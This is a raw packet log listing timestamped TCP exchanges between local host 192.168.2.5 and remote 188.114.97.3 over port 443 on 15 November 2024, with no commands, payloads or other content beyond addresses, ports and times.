Nov 15, 2024 01:01:27.266005993 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.266050100 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.266057968 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.266077995 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.266105890 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.266242981 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.266283035 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.266287088 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.266310930 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.266335964 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.266455889 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.266501904 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.266510963 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.266532898 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.266563892 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.267059088 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.267098904 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.267112970 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.267138004 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.267152071 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.267261028 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.267311096 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.267328978 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.274461985 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.322263002 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.488579035 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.488600016 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.488634109 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.488648891 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.488667011 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.488682985 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.489057064 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.489074945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.489120007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.489130020 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.489171028 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.489181042 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.489787102 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.489809990 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.489855051 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.489864111 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.489882946 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.489895105 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.490173101 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.490191936 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.490228891 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.490236998 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.490251064 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.490274906 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.490771055 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.490791082 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.490828991 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.490839958 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.490854979 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.490962982 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.491018057 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.491036892 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.491067886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.491076946 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.491092920 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.491110086 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.491379976 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.491399050 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.491429090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.491435051 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.491451025 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.491472960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.491888046 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.491906881 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.491933107 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.491941929 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.491956949 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.491978884 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.492486954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.492505074 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.492538929 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.492547035 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.492561102 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.492651939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.492676973 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.492710114 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.492717981 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.492741108 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.492749929 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.493100882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.493119001 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.493141890 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.493149996 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.493166924 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.493180990 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.493535995 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.493555069 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.493582964 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.493591070 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.493608952 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.493670940 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.494189024 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.494208097 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.494257927 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.494265079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.494280100 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.494307995 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.494540930 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.494560003 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.494589090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.494596958 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.494613886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.494698048 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.494918108 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.494936943 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.494970083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.494977951 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.494996071 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.495014906 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.495603085 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.495621920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.495651960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.495660067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.495680094 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.495691061 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.495754004 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.495773077 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.495803118 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.495810032 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.495835066 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.495842934 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.496735096 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.496766090 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.496790886 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.496814966 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.496824026 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.496836901 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.496922970 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.496994972 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.497015953 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.497042894 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.497050047 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.497064114 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.497085094 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.497097969 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.497117043 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.497143984 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.497150898 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.497175932 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.497184992 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.497464895 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.497483015 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.497505903 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.497514009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.497533083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.497548103 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.608155012 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.608340025 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.608354092 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.608402967 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.608423948 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.608622074 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.711365938 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.711440086 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.711484909 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.711539030 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.711764097 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.711785078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.711823940 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.711833954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.711863041 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.711874008 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.712212086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.712232113 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.712280989 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.712289095 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.712657928 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.712681055 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.712712049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.712718964 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.712745905 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.712773085 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.713063002 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.713080883 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.713124990 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.713131905 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.713145018 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.713170052 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.713453054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.713473082 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.713509083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.713515997 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.713541985 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.713557959 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.714052916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.714071989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.714112043 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.714118958 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.714132071 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.714149952 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.714168072 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.714461088 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.714479923 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.714517117 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.714524984 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.714538097 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.714557886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.714879990 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.714905977 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.714940071 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.714947939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.715044022 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.715044022 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.715296030 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.715323925 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.715351105 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.715359926 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.715373993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.715445042 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.715558052 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.715631962 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.715667009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.715698957 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.715723038 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.715745926 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.715980053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.716000080 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.716041088 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.716049910 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.716077089 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.716097116 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.716377020 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.716396093 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.716430902 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.716438055 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.716464043 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.716474056 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.716658115 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.716675997 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.716707945 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.716715097 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.716743946 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.716754913 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.716981888 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717001915 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717031956 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.717037916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717060089 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717066050 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.717077017 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.717082977 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717123985 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.717405081 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717426062 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717462063 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.717469931 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717484951 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.717504978 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.717725992 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717746019 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717777967 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.717784882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.717812061 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.717822075 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.718374014 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.718393087 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.718499899 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.718508959 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.718522072 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.718545914 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.718559027 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.718565941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.718580961 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.718597889 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.718626022 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.718877077 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.718894958 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.718947887 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.718955994 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.718997002 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.719371080 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.719389915 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.719432116 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.719440937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.719466925 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.719484091 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.726114988 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.726160049 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.726193905 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.726205111 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.726219893 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.726241112 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.789860964 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.830180883 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.830260038 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.830280066 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.830362082 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.830781937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.830812931 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.830909014 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.830914974 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.830957890 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.830985069 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.945822954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.945867062 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.945904016 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.945919991 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.945935965 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.946506977 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.946546078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.946564913 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.946576118 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.946589947 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.946603060 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.946736097 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.946777105 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.946795940 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.946805954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.946841955 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.947566032 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.947603941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.947628021 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.947638988 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.947650909 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.947777987 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.947815895 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.947833061 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.947844028 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.947870970 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.948301077 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.948338985 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.948363066 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.948373079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.948385954 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.948770046 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.948808908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.948821068 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.948832989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.948859930 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.948998928 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.949034929 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.949054003 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.949063063 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.949083090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.950027943 CET	443	49868	188.114.97.3	192.168.2.5
